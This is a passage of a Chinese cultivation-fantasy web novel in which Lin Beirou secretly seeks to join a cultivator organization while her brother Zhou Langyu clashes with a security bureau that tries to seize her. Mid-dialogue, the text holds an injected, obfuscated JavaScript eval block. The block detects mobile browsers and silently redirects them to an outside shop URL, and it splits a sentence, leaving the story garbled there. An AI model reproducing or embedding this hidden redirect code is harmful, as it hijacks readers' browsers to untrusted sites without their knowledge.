周阆屿慢慢说:“你要对付谁我不管,别对我们不利。” 周阆屿和林北柔把林子倩、大姨先送回了家,林北柔找了个借口,和周阆屿先离开了,最近事情太复杂,周阆屿让林北柔去他那边住。 “我让向光山的人盯着阿姨这边,不会有问题。”周阆屿跟林北柔保证。 林北柔:“你不打算跟我妈说你是她生的?” 周阆屿正在喝水,一口水喷出来,有点狼狈地呛咳着,平抑下呼吸:“你千万不要去说,一个月以后我就要进禁区了,会发生什么都不知道。” 意思就是有可能回不来呗,林北柔盯着他:“那我也要去。” 周阆屿拿她根本没办法:“你又来了……” 林北柔挽住他的手:“哥哥,亲哥。” 周阆屿缓缓抽出手:“你就算叫我祖宗也没用,不,你才是我祖宗。” 林北柔:“莫衡要杀魏瑕啊,我们要不要去提醒魏瑕一声?” 周阆屿脸色淡了下来:“你很关心他?” 林北柔:“不啊,哪怕我和他毫无关系,我也得本着人性去提醒一句吧……” 周阆屿:“莫衡被污染,失去天赋,这件事确实是魏瑕做的。” 林北柔:“啊?” 周阆屿:“这是他们的私人恩怨,你千万别去掺和,这件事必须听我的。” 这句话他说得带有淡淡的压迫感,林北柔不由自主缩了缩脖子,头一回体验到有哥哥或者有姐姐的血脉压制。 周阆屿认真起来,就变成了另外一个让林北柔感到陌生的周阆屿,不是她的高中同桌,也不是她新认识的亲人,而是那个在修行者世界中游刃有余的世家年轻人,深谙人情世故,又看淡一切生死攸关,除了自己人的命,不在乎别人。 林北柔不可能让刚认识的亲哥去送命。 既然阻止不了周阆屿进去,那她也进去不就行了吗。 到时候她看着周阆屿,周阆屿不会死的。 不知道为什么,林北柔有这种直觉。 林北柔私下给莫衡发消息:“东西你不要了?” 她觉得莫衡不正常,才失去两个亲人,竟然如此平静,真的很诡异。 要不就是把情绪直接压死在最底下,不让任何人看见。 不管哪种,都挺恐怖。林北柔不大想跟莫衡讲话,她是真没别的人脉了。 莫衡回消息简直秒回,就像一直在线等她一样:“当着周阆屿的面,我当然不好提,东西我要。” 林北柔失忆了,也就忘了交易具体是什么,想了想打字:“那你准备了什么来交换?” 莫衡学她的语气:“听轮心魔,你不治了?” 林北柔压根不知道那是什么意思,高深莫测回他:“你再从头到尾,详细说一遍。” 莫衡那边也不知道是不是猜到了什么,笑了一声:“我说了,你现在的状况,没人比我了解,你以为这是恐音症,其实这只是最浅表的症候,再发展下去,你很快会被拉入魔境,见到什么叫真正的地狱,到那时才是字面意义上的走火入魔,会比死更难受,不仅你这辈子废了,就算投胎,也会带累下一辈子。” 林北柔听得收紧了手指。 莫衡:“是不是觉得有时候挺没意思的,活着还不如死了,死了又很麻烦,只好活死人一样活下去。” 林北柔不说话。 莫衡:“我在灵脉里发现了一个东西,姑且叫它药吧,我现在已经好了,药还剩一半,你把魏瑕私自持有无量印的证据给我,我就把药给你,你如果不放心,可以告诉周阆屿,让他当中间见证,我发毒誓。” 林北柔想了一会儿,缓缓说:“我还有一个条件,你答应了,就成交。” 莫衡要杀魏瑕,不管怎么样,林北柔不能坐视不理,她得盯着莫衡,先把交易进行下去再说。 为什么魏瑕当初会给莫衡挖坑结仇呢? 为什么莫衡非要进禁区呢,真的是为了杀魏瑕吗,真的不是因为禁区有其他诱惑力很大的东西吗? 莫衡:“什么条件?” 林北柔:“我也要进禁区,你告诉我,该怎么合法合理合规地进去。” 莫衡那边好像是笑了一声:“你不是四号候选吗,能肉眼看见污染的修行者,目前境内只有你一个,只要你愿意,你随时可以光明正大进入,前提是你得正式加入组织,不过,周阆屿不会允许的,我不想和他为敌,爱莫能助。” 林北柔:“我不告诉周阆屿。” 莫衡:“正式加入组织,你得有一个担保人引荐,我不可能当你的担保人,通常担保人都是世家出身、有头有脸的人,最好在组织也有职级。” 和莫衡谈话完,林北柔先去看了一眼周阆屿在干什么。 客厅里,周阆屿在和什么人语音电话,气氛很沉肃。 林北柔踮起脚尖,探头探脑,尽量听清每个字。 周阆屿:“所以,应劫派直接跟我们撕破脸了么。” 对面一个女士的声音:“禁区被动开放,就像亿万年难遇的秘境对外限时打开,之前的内奸清洗,应劫派装作配合,行事低调,实际上以退为进,恐怕他们早就从境外同道那边提前得知了禁区会被打开,这一次,他们就装也不装了,现在太微垣也控制不了他们了,应劫派那边正在强硬推行紫宸君选举,一个月后,他们就会选出自己的储君。” 周阆屿肃然:“得不到公认,就不是正统,更不可能是紫宸君。” 女士:“紫宸君是灵脉天道选出来的,他们这次打算让那位伪储君进到禁区最深处,用他们自己的秘法,获得天道认可,这样不管化劫派和其他人认不认,他们的伪储君都会成为真正的紫宸君,一旦他们的计划成功,事情会十分麻烦,最坏的结果是修行者的内战。” 周阆屿:“他们想选谁?” 女士轻笑一声:“不止一个,有中国人,有外国人,哦,外国人里面还有个混了日本血统的,毕竟,他们提倡打破国界,无国界无文化疆域嘛。” 女士的轻笑很柔和,林北柔从中听出了极其不经意的蔑视。 周阆屿:“末法时代,群魔乱舞。” 周阆屿:“没有军队支持,他们展开不了行动,北落师门站哪边?” 女士:“北落师门目前的最高指挥团体中立,不过,对他们从下到上有决定性影响力的,还是魏瑕,虽然他现在半脱离组织了。” 周阆屿:“半脱离?” 女士:“应劫派怀疑,魏瑕已经毁掉了组织当初在他小时候下在他元神里的封印,他们行动谨慎,暂时还不打算和魏瑕挑明。” 周阆屿:“魏瑕活着,就是对伪储君最大的威胁,他们会放任魏瑕进入禁区?” 女士的语气微妙:“时间还有一个月,在一个月之内,足够发生很多变数。” 周阆屿心平气和:“我不会去争这个储君。” 女士:“这件事,我和你梁师姑有分歧,她想你去当储君候选,我没答应,她不太高兴,她学生谢轻眠也在进入名单上,她不太想让谢轻眠跟你一起行动,好像另有打算,看样子你会少一个师门助力。” 周阆屿一点不在意:“我不需要助力,谢轻眠太年轻了,只要那几个一直跟着我做事的老人就行。” 女士换了话题:“孙家那枚灵核呢?孙和铃含蓄问了我,能不能把灵核要回去,她把孙家这件事上报给了组织,组织想要孙家那枚灵核。” 周阆屿脸色一沉:“我还没跟他们孙家算账,告诉他们,别想了。” 女士:“林北柔和灵核接触过,还安然无恙,孙家付出了一枚灵核的代价,他们不会善罢甘休。” 周阆屿:“她现在失忆了,什么都不知道,否则要是她出什么事,我会踏平孙家。” 组织内每个有编号的修行者,战力和破坏力都甩出其他修行者一个维度,周阆屿这句话不是威胁,是陈述。 女士给他分析利弊:“我们和应劫派的矛盾已经激化,林北柔是唯一能肉眼看见污染的人,她迟早会进组织,会选边站。” 周阆屿没有松口:“这次她不会进禁区,我一个人就可以了,她这辈子都会过普通人的生活。” 周阆屿语气平静地挂了手机。 不知道为什么,他一脸死一样平静的样子比那种皱眉冷冰冰的样子凶多了。 林北柔小心翼翼凑了过去:“哥。” 周阆屿没有准备地转过来,眼神肉眼可见因为这个称呼软化:“嗯,你怎么还不去睡觉。” 林北柔:“我明天有事外出。” 周阆屿:“什么事?最近还是别出去了。” 林北柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273750|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“魏瑕不是把我辞了吗,我要找工作。” 周阆屿睁大眼睛,噎了好几秒才说:“最近不急,生活费我会打你卡上的。” 林北柔:“我记得我欠了魏瑕很多钱!我要打工还钱!” 周阆屿:“钱我帮你还,你不用去打工。” 林北柔这辈子做梦都想不到,她还有听到这句话的这天,家人可以养她,她不用去上班,不用去打工,只需要吃喝玩乐就好了。 感动并品味了好一会,林北柔点头:“好吧,那我不出去了。” 周阆屿点点头:“早点睡。” 林北柔回到卧室,耐心等待着,听到周阆屿回了卧室,外面灯也熄了,又过了一个小时,确定周阆屿完全睡着,林北柔轻手轻脚潜入他卧室,在地上螃蟹一样蹲着走,轻轻顺走了他的手机,又靠近周阆屿,拿起他的手,用他拇指解了锁,周阆屿大概确实很累,潜意识对林北柔的接近没有任何警惕,连眼皮都没动。 林北柔拿着周阆屿的手机回了自己卧室,查看消息记录,直接打通了刚才那个女士的手机。 “喂?还有什么事?”对面的女士像师长一样随意又有压迫感,听声音年纪比林北柔老妈还大一些。 林北柔冷静开口:“您好,我是林北柔。” 对面静了半秒:“周阆屿在旁边吗?” 林北柔:“我偷偷拿的他手机,我想进禁区,正式加入组织,我需要一个担保人。” 女士轻笑:“胆子不小,你知道我是谁吗,就敢打这个电话。” 林北柔看到了通讯录备注:“您是耿江渡老师?” 耿江渡:“你是没有资格叫我老师的,周阆屿是我学生,也是组织里最被看重的年轻一辈,我尊重他的意见,不会在他不知情的前提下,把你带进组织。” 说完干脆就挂了,根本没给林北柔机会。 这位女士还很坦荡,有长辈的大人大量,压根不掺和小辈的私事,林北柔给她打电话这茬,过了她也没放心上,也不会多嘴告诉周阆屿。 林北柔若有所思,在手机里翻翻找找。 这几天周阆屿把她手机里一些联系人都删除干净了,林北柔只好出此下策,终于在周阆屿找到了另外一个眼熟的联络人,打了过去。 才响两声对方就接了起来,语气特别忐忑不安轻声细气:“喂,周前辈?” 林北柔一本正经:“孙芮晗,你好,我是林北柔。” 对方发出一声尖锐爆鸣。 孙芮晗:“你你你你你——你没事吧!对不起!那天我真的不是故意的,我压根不知道他们利用我想利用你,幸好你没事,不对你真的没事吧!” 她语无伦次,林北柔打断了她:“没事,我就是有点失忆,你小声点,我有正事跟你说。” 孙芮晗声音弱了下去:“……你说,对了,我先给你说一声,你和灵核发生了直接接触,我姑姑下了死命令瞒下去,组织上暂时没人知道,你放心,但是我做不了主,你有什么事,我可能也帮不上忙,姑姑很生气,把我禁足了。” 林北柔刹那明白了,目前知情者是她、魏瑕、周阆屿、向光山出身的高层比如耿江渡,还有孙家几个人。 各方的利益被同一个向心力驱使,逐渐凝聚,她就是这个向心力。 逻辑一点即通,林北柔有点莫名其妙,这几天脑子里好像更新换代了一个处理器,想什么都特别通透。 胜身洲的三百年记忆和经历,于潜意识层面钟表一样丝滑准确运转。 林北柔:“没关系,你不需要干什么,只要跟你姑姑传个话就行。” “什么?” “我要加入组织,请你姑姑当我的担保人。” 周阆屿睡到早上八点过,看了看时间,有条不紊地下床,换衣服,洗漱,打开卧室门,看了一眼走廊斜对面林北柔的卧室,安安静静关着门。 周阆屿:“……” 他摇摇头,把脑子里突如其来的孩子静悄悄必定在作妖的念头甩出去,去厨房开了冰箱门,打算做简单的早餐。 手机响了起来,周阆屿看了一眼,皱起眉,这个号码是组织里专门负责查案子、还有一定执法权的高级部门,名字比较复杂,组织里的人一般都简称安全局。 周阆屿接起了手机:“喂。” “周灵君,情况紧急,我们需要你和林北柔女士到场作证。”对方的声音冷淡且公事公办。 周阆屿:“作什么证?” 对方:“数月前,你和林北柔女士曾经在XX游乐园目击过一起‘出血线’事件,谢轻眠女士也在场,请问属实吗。” 出血线事件,专指普通人卷入修行者圈子,造成不可控影响的事件。 周阆屿:“是。” 对方声音更冷淡了:“我们在跟进一件重案,案子和不周无量印有关,似乎有人伪造了一批假的无量印,私下发给了很多背负了私仇的普通人,那些普通人持有伪印,制造了一大批悬案,死亡人数还在不断上升,我们认为,幕后最大嫌疑人是魏瑕。” 周阆屿:“这和我们有关系吗?” 对方:“我们掌握了关键证据,需要你和林北柔女士到场确认。” 对方:“周灵君,请和林北柔女士于十点四十准时到场,地址会发给你。” 通讯中断。 周阆屿双手撑在桌子上,目光略阴沉,去了会很麻烦,不去,更麻烦。 不去的话,会对外释放错误信号,他是站在魏瑕那边的。 周阆屿不再迟疑,走到林北柔卧室前,没有敲门,轻声说:“林林,起来了吗?” 林北柔的表姐就这么叫她,周阆屿也打算以后都这样叫林北柔。 林北柔的声音很快传来:“我醒了,在穿衣服。” 周阆屿:“好,不急,你起来再说,我们待会要出门。” 林北柔心里有鬼,乖乖回答了一声“好”,赶紧跳下床打开衣柜,随便拿了件凉快的衣服,套上去的时候,什么东西忽然从衣服口袋里掉了出来,落在地板上。 林北柔低头一看,是个盒子,像蓝牙耳机盒,她弯腰捡起来打开,里面果然是一副耳机。 林北柔拿起一枚耳机,研究了一会儿,看清了品牌和型号。 非常非常贵,她根本买不起那种。 这也不是普通的蓝牙耳机,这是她知道的一家科研机构,针对恐音症患者出品的智能耳机,可以排除一切让林北柔讨厌的声音。 这是林北柔购物清单上常年占据第一位置的好东西。 林北柔还没来得及惊喜完,脸上的笑容就凝固了,她想了起来,这幅耳机是怎么来的了。 是魏瑕送给她的。 魏瑕,是个好人。 60. 第 60 章 周阆屿开车,林北柔坐在副驾上,明显注意力不在眼前,周阆屿以为她是听了要去作证心情紧张,安慰说:“我会跟他们说清楚,你失忆了,我来负责陈述就行。” 林北柔动了动:“不能不去吗?” 周阆屿:“安全局比较特殊,他们虽然不像北落师门一样是军队规格,不配合他们,后续会有很多麻烦,他们的工作是负责维护稳定,和当局也有很多合作。” 到了地方,林北柔下了车,这里一点不起眼,闹中取静,在一条绿荫参天的街巷中一个只标了几街几号的不起眼建筑内,建筑像石油单位那种老房子,外面看不出干嘛的,有门禁。 靠近门禁时,林北柔感到一股强大的斥力,整个空气好像电离了一样,身上寒毛都炸了起来,周阆屿很寻常地拿出了身份证,门卫看了一眼,用一个东西扫了下,那股斥力刹那消失,就放他们进去了。 临近中午,日头酷烈,蝉噪愈静。 林北柔:“……” 等进去后,建筑里居然一个人都没有,维护倒是维护的很好,消防设施看上去也是新的,周阆屿熟门熟路地带林北柔穿过几道门:“外面是掩护,真正的地方不在这。” 他带林北柔到了一处电梯前,进了电梯,电梯门合上,周阆屿刷了身份证,电梯门开了,眼前豁然开朗,是个十分现代化黑科技的大厅,还特别高,四面八方连接着其他走廊,很多看上去像公务员的人匆匆走过,人声和活气扑面而来,和刚才的地方显然不在一个空间。 林北柔印象深刻:“这就是传说中的传送门吗?” 周阆屿:“空间折叠和传送技术,差不多吧,跟紧我。” 林北柔跟在周阆屿后面,像个小尾巴一样,一路上和人擦肩而过,大多数人目不斜视,有些人面无表情地盯着她,还有些面善的会朝她笑笑,所有人感觉都很不简单,即使看上去很年轻,也绝不是普通当代年轻人或咸鱼或丧或社畜的样子。 林北柔还发现了,这里每个人都认识周阆屿,只是不表现出来而已,连办事员都对周阆屿很客气。 他们顺带注意到林北柔,多半是因为她跟着周阆屿。 周阆屿地位真的不一般啊。 林北柔油然生出一种家兄特有出息的与有荣焉。 林北柔:“这里都是公务员吗,要考上这里的编制是不是很难?” 周阆屿看出了林北柔心里在想什么:“比考中央办公厅、国资委、公安部的高级公务员难二十倍,组织其他部门也是一样。” 林北柔:“也要笔试和面试?” 周阆屿:“看你要考什么,我这个职位对战斗面板要求也很高,当时还考了很多实践科目。” 林北柔:“那你和莫衡、魏瑕他们,谁的分数更高?” 周阆屿:“……” 论总分的话,周阆屿自己高一些,但战斗相关单科魏瑕是第一,不过周阆屿不想在林北柔面前夸魏瑕。 周阆屿:“到地方了,现在起别说话,跟着我就行。” 林北柔该老实就老实:“好。” 紧接着又插了一句:“那我可以玩手机不。” 周阆屿:“……” 周阆屿:“没人看着你,你就玩,不过不能拍照录像。” 到了一个办事点,工作人员请他们在休息室稍等,过了会儿又出现,把他们带去了另外一个有户外窗景的会议室,三个人在里面等着,都是长相端正普通,平平无奇,穿得不土气,也不时髦,发型和衣服都很干净,林北柔却一眼感觉到他们和外面那些公务员不太一样,应该是领导层了。 还有第四个人,一个看上去就很有距离感的年轻女性,她目光落在周阆屿和林北柔身上,简单而冷淡地点点头。 估计这就是谢轻眠了,林北柔从周阆屿那边听说,他们之前有些过结。 向光山中流砥柱的两个入世弟子,一个是耿江渡,一个是梁巍英。 耿江渡天赋更强,职位也更高,专心打理部门,兼顾着向光山那边,梁巍英心思更缜密,擅长交游,也更有野心,一直想让向光山成为门派世家之首。 梁巍英的弟子谢轻眠和她一样,甚至更激进一些,谢轻眠一直希望拉拢魏瑕,认为只有靠魏瑕的天赋才能扫清困局,毕竟周阆屿的天赋是结界镇守,向光山虽然于结界一道积淀深厚,真正厉害的却是佛法神通,然而内门弟子凋零,已经没落很久了。 周阆屿也不可能出家。 之前向光山内部出了一些问题,涉及到派系之争,有辈分比耿江渡还高的比丘向周阆屿施压,想让他受戒出家,周阆屿当时在大学很受欢迎,很多女生追,周阆屿就接受了看起来性格很好的许蓓的表白,二人交往了一段时间,周阆屿比较保守,加上了解自己并没有爱许蓓,仅仅是想培养一下感情,就两人关系止步牵手拥抱,那个高辈分的比丘以为周阆屿不是纯阳体了,就放弃了施压。 周阆屿那会看许蓓性格开朗为人善良,本来也有长期相处的打算,谁知道中途许蓓假装不下去了,渐渐暴露瞧不起普通人的本性,原来她之前都是假装的,刻意制造了几起偶遇,加深周阆屿对她“性格好”“善良”的印象,许蓓有一次对校外兼职服务人员的学妹态度恶劣,暴露了本性而不自知,周阆屿就提了分手,后面纠缠无果,以为林北柔是小三,闹了半天才消停。 上次向光山内部谈话,谢轻眠提出不能让林北柔活着。 这句话把周阆屿得罪死了。 周阆屿面上不显,心里把谢轻眠从同门名单上划掉,加入了高危敌对名单。 当然,这些他没让梁巍英和耿江渡看出来。 周阆屿来之前跟林北柔提到谢轻眠,语气很冷:“谢轻眠对你敌意太大,你跟她保持距离,有什么就告诉我,谢轻眠希望魏瑕加入向光山,因为向光山创派人是无瑕体,这种修行体质很罕见,现在唯一已知无瑕体是魏瑕,谢轻眠说不定可能觉得魏瑕是创派人的转世,你之前和魏瑕走得近,她估计对你产生了什么误会,以为你和魏瑕关系暧昧,把你当成阻碍向光山延续的障碍了。” 周阆屿:“张组长,叫我们来有什么事,直接说了吧。” 中年人示意周阆屿和林北柔坐下,点了投影,幕布上现出一段视频,似乎是一段审问。 视频上的女孩有点眼熟,审讯的人说她的名字是陈思雨,电光火石,林北柔想起来了。 游乐园,密室,女孩手中的伪印,和她有私仇的那个男的成了不能说话不能动的废人。 陈思雨好像是中了一种术法,冷静的,但剥离了情感的。 陈思雨:“……私仇了结后,我把古币传给了其他人了,不知道它现在在谁手上,给我古币的那个老人家,我也联系不上了,他也是从别人手里拿到的。” 看完了审讯视频,周阆屿说:“这不是什么都没交代吗,怎么看出和魏瑕有关系的。” 张组长:“不周无量印很特殊,天地间只此一枚先天法宝,它本是无形无色,附着在法器上的一缕元灵,和器身一起才能称为法宝,没有真正的无量印元灵,不可能制造出伪印,说明魏瑕确实有拿走无量印的嫌疑。” 周阆屿:“该说的我会说,不知道的我也说不出来。” 张组长望向林北柔:“这位小林,之前在魏瑕的公司上过班?” 林北柔:“上过班。” 周阆屿:“张组长,你有什么问题问我吧,她前段时间受脉冲影响,失忆了,很多事情不记得,我带她去组织名下的医院看过了,医生也有开证明的。” 张组长:“你倒是和这位小林关系好,是女朋友?” 周阆屿淡淡地说:“您真会开玩笑。” 张组长开始一条一条地跟他们核实关于魏瑕的嫌疑。 他问完周阆屿,又问谢轻眠。 期间,谢轻眠一直盯着林北柔,林北柔感到不太舒服。 张组长和周阆屿谈得差不多了,没有太失望,言简意赅:“有你这些证词够了,我们马上要对魏瑕展开行动,你们就当什么都不知道。” 周阆屿:“什么时候?” 张组长:“就是今天。” 周阆屿:“你们打算直接去抓他?万一他不服从,你们要怎么带他回来?” 张组长知道周阆屿背景很深,也就透了口风:“魏家现在和他关系很差,他那个堂兄魏抒培,前段时间在内部清洗时立了功,升迁了,专门要大义灭亲,跟魏瑕割席呢。” 周阆屿懂了,魏家是十分古老的世家,他们对付有血脉关系的家族成员,手段比外人多得多。 只要魏家肯出手,事情就稳了一大半了。 张组长说完又说:“不是不信任你们,这事对公不对私,我们行动期间,还请各位作为证人待在这里,只需要行动结束,各位就可以走了。” 连林北柔都听懂了,张组长是怕有人提前向魏瑕那边泄露消息。 林北柔老老实实地坐在周阆屿旁边,像个清澈的大学生。 她本来打算来了这一趟看看情况,就去提醒魏瑕的,没想到人家把他们扣下了,现在怎么办? 林北柔:“哥哥,我想去洗手间。” 周阆屿:“……” 张组长:“……” 张组长用中年人看年轻人的好笑眼神看了周阆屿一眼,意思是还说不是女朋友。 周阆屿不动声色,好像拿林北柔没办法:“走吧。” 张组长:“手机得留下,还得戴上防法术手环,请见谅。” 林北柔和周阆屿戴上手环,出去了,倒是没人跟着他们,手环上有禁制,只要他们动用联络外界的法力,手环就能感测到。 周阆屿:“除了不能去救魏瑕,你想做什么都——” 话还没说完,一股剧烈的震荡传遍整个建筑。 林北柔感觉地板好像都变软了,墙和天花板都在摇晃,她本能地拽着周阆屿蹲下,刚蹲下,就被周阆屿护住了脑袋,周阆屿在她上方撑起一个透明的结界罩子,哪怕建筑塌了,他们在里面也不会有事。 林北柔依然吓呆了,这种级别的晃荡她从来没经历过,不到三分钟,感觉过了三百年。 震荡结束后,走廊里很多东西都倒了一地,不少人像他们一样蹲着,御起法器保护自己。 林北柔:“怎么回事?!” 周阆屿也不知道,他带林北柔回了会议室,直接问张组长:“刚刚是什么?又是脉冲?” 张组长脸色凝重:“还不清楚。” 他的部下一个在查看大屏幕,上面是一些林北柔看不懂的黑科技实时地图,另一个在用通讯器联络,说了几句转头说:“东南方向有不明修行者势力械斗,其中一方动用了先天法宝,安全局外面的结界矩阵被爆破了一大片。” 张组长:“什么势力,查清楚。” 部下手上飞一样输入代码,调取到了监控。 部下怔怔地说:“组长你过来看,这……这是不是魏抒培,魏家的人,还有……魏瑕?!” 监控上,魏抒培带了很多人,这些人操作重型法器围攻魏瑕,魏瑕居然不敌他们,被拷上了一种禁锢法器,带走了。 林北柔越过周阆屿肩膀看到了监控里,魏瑕穿着一身黑色卫衣黑色长裤,旁边还散落了一地购物袋,像个大学生,他好像是出来采购生活用品的,被抓了之后也很安静。 周阆屿根本不信:“你们确定这是魏瑕,不是冒充的?” 张组长打了几个电话,不愿意信也信了:“确实是他,魏抒培为了出其不意,提前动手了,动用了魏家的秘法,还有,他们证实,魏瑕身上的封印还在。” 封印在,所以加上魏家的手段,要拿下魏瑕也不是不可能。 周阆屿:“……既然你们成功抓到了魏瑕,证词我们也提供了,我们就走了。” 魏抒培提前动手也好,免得他和林北柔还要在这里坐着等安全局行动结束。 张组长:“我派人护送下你们吧。” 周阆屿没有拒绝,他和林北柔走到门口,谢轻眠忽然开口:“等等,张组长,我还有一件事要说,也请周前辈和林小姐留步。” 张组长看她神情不同寻常,同意了,周阆屿和林北柔于是站着没动。 谢轻眠抬起眼睛,目光落在林北柔身上,一句一句很平静地泄密:“我得知了一个已经确认的情报,四天前,林北柔和苔痕宗持有的灵核发生了一级接触,成功融合。” 会议室刹那针落可闻。 周阆屿用尽全力控制住了表情,然而面皮一丝细微的抽搐,让盯着他看的张组长确认了,谢轻眠说的是实话。 谢轻眠语调不变:“按照修行者法案,凡是与灵核融合的修行者,属于国家财产,由太微垣监管,张组长,你现在有责任看好周前辈和林小姐,上报高层,准备移交流程,尽快将林小姐送去基地。” 张组长望向周阆屿:“这是真的吗?” 他的两个部下早就蓄势待发,手按在腰间法器位置上,注意着周阆屿和林北柔的动静。 林北柔只有一个想法,谢轻眠是怎么知道的? 周阆屿问谢轻眠:“是谁告诉你的?” 他声音不带任何感情,就像在对一个物件或者死人说话。 谢轻眠:“我只听我老师的命令。” 谢轻眠的老师是梁巍英,她的意思是这个消息是梁巍英告诉她的? 知道这件事的,确实仅限于孙家和向光山内部高层。 谢轻眠再出格,在这种大事上,也的确不会自己一个人拿主意。 周阆屿之前说梁巍英和耿江渡有分歧。 现在,分歧爆发了。 周阆屿:“张组长,不用装了,看来今天你们是早有准备。” 他环顾一圈会议室,直接握住了林北柔的手腕,像握小孩子的手那种握法。 张组长见周阆屿一语道破,也不演了,点点头:“今天请你们来作证是真的,想请林女士走正规流程也是真的,小周,你见谅,我只负责执行上峰命令。” 周阆屿冷笑两声,缓缓说:“我这段时间被人骗了不止一次,有时候我怀疑,我是不是给你们的信任太大了。” 张组长见情况不对,赶紧劝止:“这是修行者法案中规定的,太微垣的最高指示,基地又不会害林北柔,只不过让她接受正规引导,难道你还想抗法吗?” 周阆屿:“张组长,你觉得我来这儿之前,没有考虑过这些,就这么一个人水灵灵地带着你们想要的目标过来的么。” 张组长脸色微变,忽然意识到什么。 周阆屿:“结界,开。” 不动感情的三个音节,言灵充满了整个房间,林北柔生平第一次见识到了周阆屿的实力。 他的结界对她来说就像家里养的边牧一样,柔软无害,亲近可爱,还会随时随地保护她。 对其他人来说就不是了。 张组长,谢轻眠,还有那两个部下,全部以随机的姿势,贴到了墙上,天花板上,地上,撕都撕不下来,被结界困住,像被蛛网网住的小虫,连法器都召唤不了,也动用不了灵力。 会议室的门随周阆屿的意念,砰地一声关上,整个会议室都充斥了周阆屿的结界,他冷漠地看着他们。 周阆屿:“张组长,我现在和林北柔要离开,你们但凡敢阻止,我放置的结界就会爆炸,你们不会死,但会成为彻底的废物,一辈子再也跨入不了修行者的世界,听懂了吗。” 张组长没有想通,周阆屿明明戴着防法术的手环,他是怎么做到的,结界压制得他无法发声,他只能轻微点点头。 周阆屿再次冷笑一声。 周阆屿气炸了。 不光是对梁巍英和谢轻眠的背叛,他甚至怀疑起了自己的老师和上司耿江渡。 梁巍英那边想做什么,耿江渡真的不知道吗。 又或者她猜到了,却不参与不插手,也不提醒他,任凭事情这样发展。 耿江渡为人很聪明,周阆屿对林北柔的态度从来没有遮掩过,她根本不会往男女关系上猜,稍微去调查一下就能猜到。 为什么要默许让林北柔被送往基地? 背后还牵涉到什么他不知道的博弈。 一个疯狂直白的念头油然而起,就像长期潜伏盘踞在他内心阴暗面的毒蛇,终于找到了昂首吐信的时机。 伤害林北柔的,都杀了。 他是要进禁区的人选,哪怕杀个把人,也没有法律能约束他。 周阆屿眼睛里腾起黑雾,整个人在黑化的边缘,忽然,有人拉了拉他袖子。 周阆屿低下头,眼中黑雾散开,林北柔用奇怪的眼神看着他,好像有话不方便说:“我们要不再等等?” 周阆屿吃惊:“等?等什么,没看见他们要抓你吗,必须赶紧离开。” 林北柔:“离开后去哪里,向光山不是背刺了你吗。” 周阆屿:“……” 周阆屿:“我总有办法的,你不要担心,我会保护好你,我在禁区名单上,还是五号,他们不敢动我。” 办公室外面,忽然响起了异动,林北柔不用看也知道,肯定是安全局出动了大量人手,把他们这里包围起来了。 外面传来了隔空喊话,让里面的人停止攻击,否则会采取制服手段。 形式一触即发,周阆屿的脸色也变得很冷峻。 张组长困难地挤出一丝声音:“你想跟整个安全局对抗吗……” 周阆屿一抬手,结界翻转,扩大,走廊上传来乒乒乓乓的声音,听上去好像是围过来的那些人都被掀飞了出去。 周阆屿脸上爬上游丝一样的墨色烟缕。 张组长:“住手,再这样下去,你自己也会反噬……” 周阆屿没动手,门开了,结界过处,没有一个人是站着的,周阆屿抓着林北柔的手腕走了出去。 林北柔忽然站住了,周阆屿回头望着她,露出疑问加催促的表情。 林北柔阴影下的眉眼抬起来,笑了笑:“对不起,我之后再跟你解释。” 她握住周阆屿的手,一股奇异灵力刹那贯通周阆屿体内,周阆屿的视角中,他瞬间来到了一个纯白空间,周围有流动的光影,那些光影是他本人的记忆,光影之外,有不属于他的水波和雾气。 周阆屿错愕得回不过神,这里是他自己的心识世界。 而路人视角,林北柔只是按了按周阆屿的手,周阆屿就这么站着,眼睛渐渐失焦,好像睡着了一样。 结界被解开了,墙上的人掉了下来,地上趴着的人也能起来了,很多人平时都是精英级别的外勤修行者,有的还有天师称号,头一次体验被编号修行者碾压的滋味,意识到上了编号的修行者只用两三分力气,就能让他们变成这样,一时表情微妙复杂。 张组长下了命令,所有人都包围了过来,但林北柔和周阆屿身前还剩了一层结界,他们突破不过去。 张组长:“林女士,请解除结界。” 林北柔:“等一会儿。” 张组长:“等什么?” 林北柔:“等会儿你就知道了。” 张组长也不跟他们生气,他在外勤组长位置,见得多了,心平气和地对其他人使了个眼色,示意他们硬把林北柔拿下。 虽然不知道为什么林北柔制住了周阆屿…… 谢轻眠突然插嘴:“你怎么做到的?谁帮你激活的天赋?” 其他人法器一起亮起,灵力齐下,周阆屿又陷入沉睡,结界发出清脆的噼噼啪啪声,像风铃,更像汝窑开片。 林北柔也不阻止他们,只是看了看手机时间,发了两条消息。 结果,结界只是发出声音,并没有破碎。 张组长让众人搬来了专门攻破结界的法器装置。 在林北柔眼皮子底下,法器装置对准了林北柔和周阆屿。 林北柔惊叹:“怪不得他们说,有编号的修行者就是牛逼,他都昏过去了,留下来的结界你们这么多人也打不破诶。” 其他人脸都黑了,张组长表情不变:“惭愧,只有有编号的修行者,才有灵君的称号,他们身上有先天法力,我们是后天修习的,自然有天壤之别,不过这台法器,上面也有先天法宝的力量。” 法器开始蓄力读条,周阆屿留下的结界开始震荡,就像水晶在高频声波中产生裂隙。 所有人开始露出一种微妙的爽快表情。 你豪横啊,在安全局抗法,这下子把你们一锅端了看你们豪横得起来不。 林北柔:“时间到。” 走廊另一头发出巨大的声响,就跟什么爆炸了一样,所有人都措手不及,只见一个女人站在那里,身后全是训练有素的手下,明显是另外一个部门的外勤修行者,他们稳准狠地扑了过来,手提法器,以瞬移的身法占据了要害位置,一下子控制住了场面。 张组长:“……” 林北柔抬手打了个招呼:“您好。” 张组长脸色终于发生了变化:“孙部长?” 孙和铃一身干练考究的西装,黑色粗低跟制服鞋,非常稳地走了过来,就像日常巡查似的,开口说:“张组长,辛苦你了,你去跟你们局长说,他们两个就交给我吧,移交流程我来办就行。” 谢轻眠:“凭什么?这不符合规定。” 